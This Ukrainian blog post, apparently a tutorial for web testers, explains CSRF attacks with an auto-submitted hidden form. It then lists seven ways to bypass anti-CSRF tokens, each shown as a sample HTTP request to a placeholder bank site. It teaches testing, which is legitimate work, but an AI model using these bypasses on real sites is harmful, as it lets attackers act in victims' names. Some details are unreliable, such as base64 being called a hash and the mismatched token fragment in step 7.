Як обійти перевірку по токену CSRF

CSRF (Cross-Site Request Forgery, а також XSRF) – найнебезпечніша атака, яка призводить до того, що хакер може виконати на непідготовленому сайті безліч різних дій від імені інших, авторизованих на той момент відвідувачів.

TOOLS FOR FIND VULNERABILITY

Логин Свят

10/28/20231 min read

Як обійти перевірку по токену для CSRF

CSRF (Cross-Site Request Forgery, а також XSRF) – найнебезпечніша атака, яка призводить до того, що хакер може виконати на непідготовленому сайті безліч різних дій від імені інших, зареєстрованих відвідувачів.

Які це атаки можна виконувати:

- надсилання повідомлень,

-переказ грошей з рахунка на рахунок

- або зміна паролів

Все це залежить від сайту, але в будь-якому випадку ця атака буде входити до освітнього мінімуму веб-розробника, який зробив цей додаток, який ви тестуєте.

«Класичний» сценарій атаки такий:

Користувач залогінений на сайті, скажімо, bank.com. У нього є сесія у куках. Користувач потрапляє на «злу сторінку», на яку він потрапив через повідомлення (месенджер або лист на пошут) від хакера. На лихій сторінці знаходиться форма такого виду:

<form action="http://bank.com/send" method="POST"> <input type="hidden" name="message" value="Повідомлення"> ... </form>

При заході на злу сторінку JavaScript викликає form.submit, надсилаючи таким чином форму на bank.com. Сайт bank.com перевіряє куки, бачить, що відвідувач авторизований та обробляє форму. У цьому прикладі форма передбачає повідомлення.

Підсумок атаки - Користувач, зайшовши на злу сторінку, ненароком надіслав листа від свого імені. Вміст листа сформований хакером.

У прикладі вище атака використовувала слабку ланку авторизації. Куки дозволяють сайту bank.com перевірити, що прийшов саме цей користувач, бо він авторизован і кука лежить в його браузері, але нічого не говорять про дані, які він надсилає.

Типовий спосіб захисту сайтів – це присвоєння відвідувачеві спеціального токена, який генерується випадковим чином під час авторизації та зберігається у його сесії. Докладніше про формування секретного ключа, токена та способів захисту можеш прочитати на цьому чудовому ресурсі.

А ми ж поговоримо про способи обходу даного захисту шляхом різних маніпуляцій з токенами.

Обхід захисту від CSRF

Дані способи ґрунтуються на різних маніпуляціях з CSRF токеном у запиті. Стандартний запит має вигляд:

POST /register HTTP/1.1 Host: bank.com [...] username=svyat&password=1234&token=abc123

Розглянемо тепер найчастіші способи обходу захисту:

1) Відправлення порожнього значення токена

POST /register HTTP/1.1 Host: bank.com [...] username=svyat&password=1234&token=

2) Заміна на випадковий токен тієї ж довжини. Використовуйте випадкові буквено-цифрові токени:

POST /register HTTP/1.1 Host: bank.com [...] username=svyat&password=1234&token=1234abdc

3) У деяких випадках сервер перевіряє токени у запитах POST. Таким чином, якщо зловмисник змінить його на запит GET, то легко омине захист.

GET /register?username=svyat&password=123456&token=abc123 HTTP/1.1 Host: bank.com [...]

4) Видалення токена з запиту

POST /register HTTP/1.1 Host: bank.com [...] username=svyat&password=123

5) Використання токена іншого користувача

POST /register HTTP/1.1 Host: bank.com [...] username=svyat&password=123abc&token=ANOTHER_VALID_TOKEN

6) Спроба розшифрувати хеш. У даному випадку MTIzNDU2 => це 123456 у перекладі base64

POST /register HTTP/1.1 Host: bank.com [...] username=svyat&password=123abc&token=MTIzNDU2

7) Іноді анти-CSRF токен складається з 2 частин, одна з яких залишається статичною, а інша динамічною. Наприклад:

Надсилаємо запит з одного користувача:

POST /register HTTP/1.1 Host: bank.com [...] username=svyat&password=123&token=arvi802jg9f8akd9j12356

Проходимо повторну реєстрацію та надсилаємо запит з іншого:

POST /register HTTP/1.1 Host: bank.com [...] username=svyat1&password=123&token=arvi802jg9f8akd9j12357

Якщо ви помітили, що частина токена arvi802jg9f8akd9j залишається колишньою, потрібно відправити тільки статичну частину:

POST /register HTTP/1.1 Host: bank.com [...] username=svyat&password=123&token=vi802jg9f8akd9j

Висновки щодо Обходів Захисту від CSRF Вразливостей

Отже останні розробки в сфері веб-безпеки свідчать, що хоча існують ефективні методи захисту від CSRF атак, жоден з них не є абсолютно непроникним. Сучасні техніки обходу захисту від CSRF вразливостей потребують ретельного аналізу та неперервного оновлення стратегій безпеки. Будьте пильними!